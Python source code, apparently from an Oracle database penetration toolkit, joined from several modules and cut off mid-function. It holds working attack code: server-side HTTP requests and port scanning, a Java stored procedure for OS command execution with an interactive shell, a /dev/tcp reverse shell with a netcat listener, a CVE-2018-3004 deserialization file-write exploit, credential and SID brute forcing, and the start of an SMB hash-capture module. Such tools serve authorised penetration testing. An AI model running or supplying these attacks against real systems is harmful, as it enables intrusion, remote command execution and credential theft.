		Return False if the current user is not allowed to use the httpuritype lib, else return False or response data
		'''
		logging.info('Send a HTTP GET request to {0}'.format(url))
		query = "select httpuritype('{0}').getclob() from dual".format(url)
		response = self.__execQuery__(query=query,ld=['data'])
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		elif isinstance(response,list) and isinstance(response[0],dict):
			return response[0]['data']
		logging.info('Enough privileges')
		return ''

	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("HTTPURITYPE library ?")
		logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the HTTPURITYPE library')
		response = self.sendGetRequest('http://0.0.0.0/',printResponse=False)
		if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response):
				logging.info('Not enough privileges: {0}'.format(str(response)))
				self.args['print'].badNews("KO")
				return False
		else:
			self.args['print'].goodNews("OK")
			return True def runHttpUriTypeModule(args):
	'''
	Run the HTTPURITYPE module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","httpUrl","scan-ports"]) == False : return EXIT_MISS_ARGUMENT
	httpUriType = HttpUriType(args)
	status = httpUriType.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the HTTPURITYPE library can be used")
		status = httpUriType.testAll()
	#Option 1: httpUrl
	if args['httpUrl'] != None:
		args['print'].title("Send a GET request from {0} to {1}".format(args['connectionStr'],args['httpUrl']))
		response = httpUriType.sendGetRequest(url=args['httpUrl'])
		if isinstance(response,Exception):
			args['print'].badNews("HTTP GET request failed")
		else :
			args['print'].goodNews("The server response is:\n {0}".format(response))
			if args['outputFile'] != None : httpUriType.writeFile(args['outputFile'],str(response))
	#Option 2: scan-ports
	if args['scan-ports'] != None:
		ports = []
		if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',')
		elif '-' in args['scan-ports'][1]:
			startEnd = args['scan-ports'][1].split('-')
			for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort))
			if ports == []:
				logging.critical("The second parameter ('{0}') is not a valid: cancelation...".format(args['scan-ports'][1]))
				return -1
		else : 
			if args['scan-ports'][1].isdigit() == True: 
				ports = [args['scan-ports'][1]]
			else: 
				logging.critical("The second parameter ('{0}') is not a valid port: cancelation...".format(args['scan-ports'][1]))
				return -1
		args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0]))
		resultats = httpUriType.scanTcpPorts(httpObject=httpUriType,ip=args['scan-ports'][0],ports=ports)
		httpUriType.printScanPortResults(resultats)
	httpUriType.close() class Java (OracleDatabase):
	'''
	Allow to use Java remotly
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Java object created")
		OracleDatabase.__init__(self,args)
		self.SOURCE_OS_COMMAND_CLASS = """
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS
  import java.io.*;
  public class OSCommand {
    public static String executeCommand(String command) {
      StringBuffer sb = new StringBuffer();
      try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
          String systemRootvariable;
          try {systemRootvariable = System.getenv("SystemRoot");} 
          catch (ClassCastException e) {
	        systemRootvariable = System.getProperty("SystemRoot");
          }
          finalCommand = new String[4];
          finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe";
          finalCommand[1] = "/y";
          finalCommand[2] = "/c";
          finalCommand[3] = command;
        } else { // Linux or Unix System
          finalCommand = new String[3];
          finalCommand[0] = "/bin/sh";
          finalCommand[1] = "-c";
          finalCommand[2] = command;
        }
        // Execute the command...
        final Process pr = Runtime.getRuntime().exec(finalCommand);
        pr.waitFor();
        // Capture output from STDOUT
        BufferedReader br_in = null;
        try {
          br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
          String buff = null;
          while ((buff = br_in.readLine()) != null) {
            sb.append(buff); sb.append("\\n");
            //try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_in.close();
        } catch (IOException ioe) {
          sb.append("IOException in input stream: ").append(ioe.getMessage());
          System.out.println("Error printing process output.");
          ioe.printStackTrace();
        } finally {
          try {
            br_in.close();
          } catch (Exception ex) {}
        }
        // Capture output from STDERR
        BufferedReader br_err = null;
        try {
          br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
          String buff = null;
          while ((buff = br_err.readLine()) != null) {
            sb.append("stderr:");
            sb.append(buff);
            sb.append("\\n");
            //try {Thread.sleep(100);} catch(Exception e) {}
          }
          br_err.close();
        } catch (IOException ioe) {
          sb.append("IOException in error stream: ").append(ioe.getMessage());
          System.out.println("Error printing execution errors.");
          ioe.printStackTrace();
        } finally {
          try {
            br_err.close();
          } catch (Exception ex) {}
        }
      }
      catch (Exception ex) {
        sb.append("Exception: ").append(ex.getMessage());
        System.out.println(ex.getLocalizedMessage());
      }
      return sb.toString();
    }
  };"""
		self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';"
		self.SOURCE_OS_COMMAND_EXEC = "select oscmd('{0}') from dual"
		self.SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"OSCommand\""
		self.SOURCE_DROP_FUNCTION = "DROP FUNCTION oscmd"
		self.LINUX_CMD_ERROR = 'No such file or directory'
		self.JAVA_SESSION_CLEARED = "Java session state cleared"

	def createClassAndFunctionToExecOsCmd(self):
		'''
		CREATE AND COMPILE JAVA CLASS and CREATE FUNCTION TO CALL JAVA
		'''
		logging.info("Create and compile the java class")
		if "path-shell" in self.args:
			self.SOURCE_OS_COMMAND_CLASS = self.SOURCE_OS_COMMAND_CLASS.replace('"/bin/sh"','"'+self.args["path-shell"]+'"')
		status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CLASS)
		if isinstance(status,Exception):
			logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status)))
			return status
		else : 
			logging.info("Create a function to call java")
			status = self.__execPLSQL__(self.SOURCE_OS_COMMAND_CREATE_FUNCTION)
			if isinstance(status,Exception):
				logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status)))
				return status
			else : 
				return True
	
	def deleteClassAndFunctionToExecOsCmd(self):
		'''
		Delete the COMPILED JAVA CLASS and delete the CREATED FUNCTION
		'''
		logging.info("Delete the PL/SQL function created")
		status = self.__execPLSQL__(self.SOURCE_DROP_FUNCTION)
		if isinstance(status,Exception):
			logging.info("Impossible to drop the function: {0}".format(self.cleanError(status)))
			return status
		else: 
			logging.info("Delete the java class compiled")
			status = self.__execPLSQL__(self.SOURCE_DROP_CLASS)
			if isinstance(status,Exception):
				logging.info("Impossible to drop the class: {0}".format(self.cleanError(status)))
				return status
		return True

	def __runOSCmd__ (self, cmd, printResponse=True, retryNb=1):
		'''
		Run a OS command
		defineClassAndFunctionToExecOsCmd() must be run before this one
		return string  (stdout or stderr) or Exception
		'''
		logging.info("Execute the following command system remotly: {0}".format(cmd))
		data = self.__execQuery__(query=self.SOURCE_OS_COMMAND_EXEC.format(cmd),ld=[])
		if isinstance(data,Exception):
			logging.info("Impossible to execute the system command: {0}".format(str(data)))
			if self.JAVA_SESSION_CLEARED in str(data):
				if retryNb == 0 : return data
				logging.info("Run again the OS command...")
				return  self.__runOSCmd__ (cmd=cmd, printResponse=printResponse, retryNb=retryNb-1)
			return data
		if data[0][0] == None : 
			logging.info('The system command output is empty')
			return ''
		else : 
			logging.info('The system command output is: `{0}`...'.format(data[0][0][:100]))
			if printResponse == True :
				self.args['print'].printOSCmdOutput(data[0][0])
			return data[0][0]

	def execOSCommand(self,cmd, printResponse=True, needCreateClassAndFunction=True, needDeleteClassAndFunction=True):
		'''
		Run a OS command
		'''
		if needCreateClassAndFunction == False :
			data = self.__runOSCmd__ (cmd=cmd, printResponse=printResponse)
		else :
			status = self.createClassAndFunctionToExecOsCmd()
			if status != True:
				self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status)))
				return status
			else:
				data = self.__runOSCmd__ (cmd=cmd,printResponse=printResponse)
				if needDeleteClassAndFunction == True :
					status = self.deleteClassAndFunctionToExecOsCmd()
					if status != True:
						self.args['print'].goodNews("Impossible to delete functions created: {0}".format(self.cleanError(status)))
		if isinstance(data,Exception) == False : return data

	def getInteractiveShell(self):
		'''
		Give an interactive shell to the user
		Return True if Ok, otherwise return False
		'''
		exit, needCreateClassFunctions = False, True
		while exit == False:
			try:
				if needCreateClassFunctions == True :
					status = self.createClassAndFunctionToExecOsCmd()
					if status == False:
						self.args['print'].badNews("Impossible to use the JAVA library to execute a system command: {0}".format(str(status)))
						return False
					needCreateClassFunctions = False
				else :
					cmd = input('{0}$ '.format(self.args['server']))
					output = self.execOSCommand(cmd=cmd ,printResponse=True, needCreateClassAndFunction = False, needDeleteClassAndFunction = False)
			except KeyboardInterrupt:
				status = self.deleteClassAndFunctionToExecOsCmd()
				if status != True:
					self.args['print'].badNews("Impossible to delete functions created: {0}".format(self.cleanError(status)))
				return True
		return False

	def __runListenNC__ (self,port=None):
		'''
		nc listen on the port
		'''
		try :
			subprocess.call("nc -l -v -p {0}".format(port), shell=True)
		except KeyboardInterrupt: pass

	def giveReverseShell(self, localip, localport):
		'''
		Give a reverse tcp shell via nc
		Need upload nc.exe if the remote system is windows
		'''
		if self.remoteSystemIsWindows() == True :
			logging.warn("Java reverse shell is not implement for Windows yet")
		elif self.remoteSystemIsLinux() == True :
			CMD = "exec 5<>/dev/tcp/{0}/{1}; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done".format(localip,localport)
			self.args['print'].goodNews("The reverse shell try to connect to {0}:{1}".format(localip,localport))
			a = Thread(None, self.__runListenNC__, None, (), {'port':localport})
			a.start()
			try :
				self.execOSCommand(cmd=CMD,printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True)
			except KeyboardInterrupt: 
				self.args['print'].goodNews("Connection closed")
		else :
			logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower()))
		
	####################################################################################################################
	#						Privilege escalation via CVE-2018-3004
	#
	#	Exploit: http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html
	#
	#	"Vulnerability in the Java VM component of Oracle Database Server. 
	#	 Supported versions that are affected are 11.2.0.4, 12.1.0.2,12.2.0.1 and 18.2. 
	#	 Difficult to exploit vulnerability allows low privileged attacker having Create Session, Create Procedure privilege with network access via multiple protocols to compromise Java VM. 
	#	 Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Java VM accessible data. 
	#	 CVSS 3.0 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)."
	#
	#   "The Oracle bug for this vulnerability is Bug 27923353, and the patch is for the OJVM system.  
	#	 For this POC, the proper patch is OJVM release update 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip)"
	####################################################################################################################
	
	def createOrAppendFileViaCVE_2018_3004(self, data, remoteFilename):
		'''
		Exploit CVE-2018-3004
		write data in remoteFilename on the target
		If file does not exist, it is created.
		Otherwise, data are appended in remoteFilename.
		'''
		CREATE_CLASS_EXPLOIT = """
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "exploitDeserializationJava" AS
import java.io.*;
import java.beans.*;
public class exploitDeserializationJava{
	public static void input(String xml) throws InterruptedException, IOException {   
		XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
		Object object = decoder.readObject();
		System.out.println(object.toString());
		decoder.close();        
	}
};
		"""
		CREATE_FUNCTION_EXPLOIT ="CREATE OR REPLACE PROCEDURE exploitDeserialization (xmlcode IN VARCHAR2) IS language java name 'exploitDeserializationJava.input(java.lang.String)';"
		EXECUTE_FUNCTION = "BEGIN exploitDeserialization('{0}'); END;"
		XML_CODE = '<java class="java.beans.XMLDecoder" version="1.4.0"><object class="java.io.FileWriter"><string>{0}</string><boolean>True</boolean><void method="write"><string>{1}</string></void><void method="close"/></object></java>' #{0}:Filename on the target, {1}: data to write on the file
		SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"exploitDeserializationJava\""
		SOURCE_DROP_FUNCTION = "DROP PROCEDURE exploitDeserialization"
		
		logging.info("Trying to write {0} in {1} on the target".format(repr(data), remoteFilename))
		logging.info("Create and compile the java class")
		status = self.__execPLSQL__(CREATE_CLASS_EXPLOIT)
		if isinstance(status,Exception):
			logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status)))
			return status
		else :
			logging.debug("Java class created")
			logging.info("Create a stored procedure to call java")
			status = self.__execPLSQL__(CREATE_FUNCTION_EXPLOIT)
			if isinstance(status,Exception):
				logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status)))
				return status
			logging.debug("Stored procedure created")
			xmlCode = XML_CODE.format(remoteFilename, data)
			logging.info("Executing the function with the xml code: {0}".format(xmlCode))
			status = self.__execPLSQL__(EXECUTE_FUNCTION.format(xmlCode))
			if isinstance(status, Exception):
				logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(EXECUTE_FUNCTION.format(xmlCode), self.cleanError(status)))
				return status
			logging.info("Delete the PL/SQL PROCEDURE created")
			status = self.__execPLSQL__(SOURCE_DROP_FUNCTION)	
			if isinstance(status,Exception):
				logging.info("Impossible to drop the function: {0}".format(self.cleanError(status)))
			else: 
				logging.info("Delete the java class compiled")
				status = self.__execPLSQL__(SOURCE_DROP_CLASS)
				if isinstance(status,Exception):
					logging.info("Impossible to drop the class: {0}".format(self.cleanError(status)))
			return True

	def testAll (self):
		'''
		Test all functions
		'''
		command = self.__generateRandomString__()
		self.args['print'].subtitle('JAVA library ?')
		logging.info("Try to use JAVA in order to execute the following random command: {0}".format(command))
		status = self.createClassAndFunctionToExecOsCmd()
		if status != True:
			self.args['print'].badNews("KO")
		else:
			data = self.__runOSCmd__ (command,printResponse=False)
			if data == '':
				logging.info("The system command {0} return no error, it's impossible with this random command".format(command))
				self.args['print'].badNews("KO")
			else : 
				self.args['print'].goodNews("OK")
				status = self.deleteClassAndFunctionToExecOsCmd()
				if status != True:
					self.args['print'].info("Impossible to delete functions created: {0}".format(self.cleanError(status)))
				logging.info("The attacker can create a Java Stored Procedure. Perhaps he can exploit CVE-2018-3004 ('Oracle Privilege Escalation via Deserialization')...")
				self.args['print'].subtitle("Bypass built in Oracle JVM security (CVE-2018-3004)?")
				remoteFileName = generateRandomString()
				if self.remoteSystemIsLinux() == True:
					status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='/tmp/'+remoteFileName)
				else:
					status = self.createOrAppendFileViaCVE_2018_3004(data=generateRandomString(),remoteFilename='%temp%\\'+remoteFileName)
				if status == True:
					self.args['print'].goodNews("OK")
				else:
					self.args['print'].badNews("KO") def runjavaModule(args):
	'''
	Run the JAVA module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module", "shell", "reverse-shell", "exec", "create-file-CVE-2018-3004"]) == False : return EXIT_MISS_ARGUMENT
	java = Java(args)
	status = java.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the DBMSScheduler library can be used")
		status = java.testAll()
	#Option 1: exec
	if args['exec'] != None:
		args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server']))
		status = java.execOSCommand(cmd=args['exec'],printResponse=True, needCreateClassAndFunction = True, needDeleteClassAndFunction = True)
	#Option 2: shell
	if args['shell'] == True:
		args['print'].title("Try to give you a pseudo shell to the {0} server".format(args['server']))
		java.getInteractiveShell()
	#Option 3: reverse shell
	if args['reverse-shell'] != None :
		args['print'].title("Try to give you a nc reverse shell from the {0} server".format(args['server']))
		java.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1])
	#Option 4: Bypass built in Oracle JVM security through Deserialization (CVE-2018-3004)
	if args['create-file-CVE-2018-3004'] != None :
		args['print'].title("Try to create the file {0} on {1}".format(args['create-file-CVE-2018-3004'][1],args['server']))
		status = java.createOrAppendFileViaCVE_2018_3004(data=args['create-file-CVE-2018-3004'][0], remoteFilename=args['create-file-CVE-2018-3004'][1])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to create the file {0}: {1}".format(args['create-file-CVE-2018-3004'][1], status))
		elif status==True: 
			args['print'].goodNews("The file {0} has been created on the target with data '{1}'".format(args['create-file-CVE-2018-3004'][1], args['create-file-CVE-2018-3004'][0]))
	java.close() class PasswordGuesser (OracleDatabase):
	'''
	Password guesser
	'''
	def __init__(self, args, accountsFile, loginFile=None, passwordFile=None, loginAsPwd=False, password=None, bothUpperLower=False, randomOrder=False, timeSleep=0):
		'''
		Constructor
		'''
		OracleDatabase.__init__(self,args)
		self.accountsFile = accountsFile
		self.loginFile = loginFile
		self.passwordFile = passwordFile
		self.loginAsPwd = loginAsPwd
		self.separator = args['separator']  # Separator for credentials
		self.bothUpperLower = bothUpperLower
		self.randomOrder = randomOrder
		self.password = password
		if self.accountsFile == '' :
			self.accounts = []
		else :
			self.accounts = self.__loadAccounts__()
		self.valideAccounts = {}
		self.args['SYSDBA'] = False
		self.args['SYSOPER'] = False
		self.timeSleep = timeSleep
		
	def getAccountsFromFile (self):
		'''
		return list which contains accounts
		'''
		return self.accounts

	def __loadAccounts__(self):
		'''
		Load credentials stored in file(s) according to contructor arguments.
		Impossible to have duplicate credentials.
		return a list containing each account
		e.g. [['login1','pwd1'], etc]
		'''
		accountsDict = {} #For saving temporarily credentials in a dict (of username)
		finalUniqAccounts = [] #Contain each uniq account e.g. [['login1','pwd1'], etc]
		logins = [] #For saving all logins when a login file and a pwd file are given
		passwords = [] #For saving all pwds when a login file and a pwd file are given
		if self.accountsFile != None:
			logging.info('Loading accounts stored in the uniq file {0}'.format(repr(self.accountsFile)))
			logging.info("Separator between login and password fixed on {0}".format(repr(self.separator)))
			f = open(self.accountsFile)
			for l in f:
				lsplit = l.replace('\n','').replace('\t','').split(self.separator)
				if isinstance(lsplit, list) and len(lsplit) == 2 :
					if lsplit[0] not in accountsDict:
						accountsDict[lsplit[0]] = [lsplit[1]]
					else:
						accountsDict[lsplit[0]].append(lsplit[1])
				else:
					logging.warning("The line {0} is not loaded in credentials list: {1}".format(repr(l), repr(lsplit)))
			f.close()
		elif self.loginFile!=None and self.password!=None:
			logging.info('Loading logins/usernames stored in the file {0} with the password {1}'.format(repr(self.loginFile), repr(self.password)))
			logins = self.__getLoginsList__()
			for aLogin in logins:
				accountsDict[aLogin] = [self.password]
		else:
			logging.info('Loading logins stored in {0} and passwords stored in {1}'.format(self.loginFile, self.passwordFile))
			logins = self.__getLoginsList__()
			passwords = self.__getPasswordsList__()
			for aLogin in logins:
				for aPwd in passwords:
					if aLogin not in accountsDict:
						accountsDict[aLogin] = [aPwd]
					else:
						accountsDict[aLogin].append(aPwd)
		if self.loginAsPwd == True:
			logging.info('Each login is saved as password (in lower case and upper case) if it is not done yet')
			for aLogin in accountsDict:
				if aLogin.lower() not in accountsDict[aLogin]:
					accountsDict[aLogin].append(aLogin.lower())
				if aLogin.upper() not in accountsDict[aLogin]:
					accountsDict[aLogin].append(aLogin.upper())
		if self.bothUpperLower == True:
			logging.info("Each password of each username is saved in lower case and upper case if it is not done yet")
			for aLogin in accountsDict:
				for aPwd in accountsDict[aLogin]:
					if aPwd.lower() not in accountsDict[aLogin]:
						accountsDict[aLogin].append(aPwd.lower())
					if aPwd.upper() not in accountsDict[aLogin]:
						accountsDict[aLogin].append(aPwd.upper())
		#Transform dictionary of accounts to list
		for aLogin in accountsDict:
			for aPwd in accountsDict[aLogin]:
				finalUniqAccounts.append([aLogin, aPwd])
		if self.randomOrder == True:
			shuffle(finalUniqAccounts)
		logging.info("{0} paired login/password loaded".format(len(finalUniqAccounts)))
		if len(finalUniqAccounts) == 0:
			logging.warning("0 login/password loaded. It seems there is an error with your account file")
		return finalUniqAccounts

	def __getLoginsList__(self):
		'''
		Returns logins stored in self.loginFile as a list.
		usernames are in lowercases.
		Remove duplicate usernames/logins.
		'''
		logins = []
		logging.debug("Loading usernames/logins stored in {0}...".format(repr(self.loginFile)))
		f = open(self.loginFile)
		for l in f:
			aLogin = l.replace('\n', '').replace('\t', '').lower()
			if aLogin not in logins:
				logins.append(aLogin)
		f.close()
		logging.debug("Usernames/logins loaded from {0}: {1} uniq usernames loaded".format(repr(self.loginFile), len(logins)))
		return logins

	def __getPasswordsList__(self):
		'''
		Returns passwords stored in self.passwordFile as a list
		Remove duplicate passwords
		'''
		passwords = []
		logging.debug("Loading password stored in {0}...".format(repr(self.passwordFile)))
		f = open(self.passwordFile)
		for l in f:
			aPwd = l.replace('\n', '').replace('\t', '')
			if aPwd not in passwords:
				passwords.append(aPwd)
		f.close()
		logging.debug("Passwords loaded from {0}: {1} uniq passwords loaded".format(repr(self.passwordFile), len(passwords)))
		return passwords

	def searchValideAccounts(self):
		'''
		Search valide accounts.
		By default, the constructor defines an attack thanks to ONE file wich contains usernames & passwords (with a separator).
		Return True if no error, owtherwise False (i.e. pb with accounts)
		'''
		userChoice = 1
		lockedUsernames = []
		logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], getSIDorServiceNameWithType(self.args)))
		logging.debug("{0} accounts will be tested".format(len(self.accounts)))
		if len(self.accounts) == 0:
			return False
		pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0
		for anAccount in self.accounts:
			nb += 1
			pbar.update(nb)
			self.args['SYSDBA'] = False
			self.args['SYSOPER'] = False
			logging.debug("Try to connect with {0}".format('/'.join(anAccount)))
			self.args['user'], self.args['password'] = anAccount[0], anAccount[1]
			self.__generateConnectionString__()
			status = self.__saveThisLoginInFileIfNotExist__(self.args['user'])
			if self.args['force-retry'] == False and status == False and userChoice in [1,3]:
				userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user'])
			if userChoice == 0 : 
				logging.info("The attack is aborded because you choose to stop (s/S)")
				break
			if userChoice == 3:
				logging.info("Skip account {0} and continue to next one. Ask each time".format(repr(self.args['user'])))
			elif self.args['user'].lower() in lockedUsernames:
				logging.info("Skip this creds {0}/{1} because we known this account is locked".format(repr(self.args['user']),repr(self.args['password'])))
			else:
				status = self.connection(threaded=False)
				if status == True:
					self.valideAccounts[self.args['user']] = self.args['password']
					logging.info("Valid credential: {0} ({1})  ".format('/'.join(anAccount),self.args['connectionStr']))
					self.args['print'].goodNews(stringToLinePadded("Valid credentials found: {0}. Continue... ".format('/'.join(anAccount))))
				elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status):
					logging.debug("Try to connect as sysdba")
					self.args['SYSDBA'] = True
					status = self.connection()
					if status == True:
						self.valideAccounts[self.args['user']] = self.args['password']
						logging.info("Valid credential: {0} ({1})  ".format('/'.join(anAccount),self.args['connectionStr']))
					self.args['SYSDBA'] = False
				elif self.__needRetryConnection__(status) == True:
					status = self.__retryConnect__(nbTry=4)
				elif self.ERROR_ACCOUNT_LOCKED in str(status):
					self.args['print'].printImportantNotice("{0} account is locked, so skipping this username for password".format(repr(self.args['user'])))
					#logging.debug("{0} account is locked, so skipping this username for password".format(repr(self.args['user'])))
					lockedUsernames.append(self.args['user'].lower())
				else:
					logging.debug("Error during connection with this account: {0}".format(status))
				self.close()
				sleep(self.timeSleep)
		pbar.finish()
		logging.debug("All these accounts are locked according to errors: {0}".format(lockedUsernames))
		return True

	def __saveThisLoginInFileIfNotExist__(self,login):
		''' 
		Save this login in the trace file to known if this login has already been tested
		If the login is in the file , return False. Otherwise return True
		'''
		if ('loginTraceFile' in self.args) == False:
			self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'], self.args['port'], getSIDorServiceName(self.args), PASSWORD_EXTENSION_FILE)
			if os.path.isfile(self.args['loginTraceFile']) == False:
				f=open(self.args['loginTraceFile'],'w')
				f.close()
				logging.info("The {0} file has been created".format(self.args['loginTraceFile']))
		f=open(self.args['loginTraceFile'],'r')
		for l in f:
			aLoginInFile = l.replace('\n','')
			if login == aLoginInFile :
				f.close() 
				return False
		f.close()
		f=open(self.args['loginTraceFile'],'a')
		f.write('{0}\n'.format(login))
		f.close()
		return True

	def __askToTheUserIfNeedToContinue__(self,login):
		'''
		Ask to the user if the module need to continue
		return:
		- 0 : stop (no)
		- 1 : continue and ask again (yes)
		- 2 : continue without ask (yes) 
		'''
		def askToContinue ():
			rep = input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- skip and continue to ask (p/P)\n- continue without to ask (c/C)\n".format(login))
			if rep == 's' or rep == 'S' : return 0
			elif rep == 'a' or rep == 'A' : return 1
			elif rep == 'c' or rep == 'C' : return 2
			elif rep == 'p' or rep == 'P': return 3
			else : return -1
		rep = askToContinue()
		while (rep==-1):
			rep = askToContinue()
		return rep def runPasswordGuesserModule(args):
	'''
	Run the PasswordGuesser module
	'''
	if sidOrServiceNameHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT
	args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port']))
	accountsFile = None
	accountsFiles = None
	loginFile = None
	passwordFile = None
	loginFile = None
	password = None
	if args['accounts-files'][0] != None and args['accounts-files'][1] != None :
		logging.debug("Login file and password file are given. 'accounts-file' option is disabled")
		loginFile = args['accounts-files'][0]
		passwordFile = args['accounts-files'][1]
	elif args['logins-file-pwd']!= None and args['logins-file-pwd'][0] != None and args['logins-file-pwd'][1] != None :
		logging.debug("Login file and a password are given. 'accounts-file' and 'accounts-files' options are disabled")
		loginFile = args['logins-file-pwd'][0]
		password = args['logins-file-pwd'][1]
	else:
		logging.debug("One file with accounts is given")
		accountsFile = args['accounts-file']
	passwordGuesser = PasswordGuesser(args,
									  accountsFile=accountsFile,
									  loginFile=loginFile,
									  passwordFile=passwordFile,
									  timeSleep=args['timeSleep'],
									  loginAsPwd=args['login-as-pwd'],
									  password=password)
	passwordGuesser.searchValideAccounts()
	validAccountsList = passwordGuesser.valideAccounts
	if validAccountsList == {}:
		args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-files accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], getSIDorServiceNameWithType(args)))
	else :
		args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], getSIDorServiceNameWithType(args),getCredentialsFormated(validAccountsList))) def runSIDGuesserModule(args):
	'''
	Run the SIDGuesser module
	'''
	args['print'].title("Searching valid SIDs")
	sIDGuesser = SIDGuesser(args,args['sids-file'],timeSleep=args['timeSleep'])
	if args['no-alias-like-sid'] == False : sIDGuesser.loadSidsFromListenerAlias()
	sIDGuesser.searchKnownSIDs()
	for aSIDSize in range(args['sids-min-size'], args['sids-max-size']+1):
		sIDGuesser.bruteforceSIDs(size=aSIDSize, charset=args['sid-charset'])
	validSIDsList = sIDGuesser.getValidSIDs()
	if validSIDsList == []:
		args['print'].badNews("No found a valid SID".format(args['server'], args['port']))
	else :
		args['print'].goodNews("SIDs found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validSIDsList)))
	return validSIDsList class SMB (OracleDatabase):
	'''
	Allow the database to connect to a smb share and implement the smb authentication capture
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("SMB object created")
		OracleDatabase.__init__(self,args)
		self.localIp = "127.0.0.1"
		self.shareName = "SHARE"
		self.TABLE_NAME = "ODAT_SMB_table"
		self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))"
		self.SQL_DROP_TABLE = "DROP TABLE {0}"
		self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)"
		self.INDEX_NAME = "ODAT_SMB_INDEX"
		self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')"
		self.SQL_DROP_INDEX = "DROP INDEX {0}"
		self.loadInformationRemoteDatabase()

	def createTable (self):
		'''
		Create a temporary table
		'''
		logging.info("Creating the table named {0}".format(self.TABLE_NAME))
		status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME))
		if isinstance(status,Exception):
			logging.info("Impossible to create the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
			return status
		else : 
			logging.info("The table named {0} is created".format(self.TABLE_NAME))
			logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, self.localIp, self.shareName))
			status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, self.localIp, self.shareName))
			if isinstance(status,Exception):
				logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
				return status
			else : 
				logging.info("Insertion into the table named {0} done".format(self.TABLE_NAME))
				return True

	def deleteTable (self):
		'''
		delete the temporary table
		'''
		logging.info("Deleting the table named {0}".format(self.TABLE_NAME))
		status = self.__execPLSQL__(self.SQL_DROP_TABLE.format(self.TABLE_NAME))
		if isinstance(status,Exception):
			logging.info("Impossible to drop the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
			return status
		else : 
			logging.info("The table named {0} is dropped".format(self.TABLE_NAME))
			return True

	def createIndex (self):
		'''
		Create an index to start the SMB connection
		'''
		logging.info("Creating the index named {0}. SMB connection is establishing ....".format(self.INDEX_NAME))
		status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME))
		if isinstance(status,Exception):
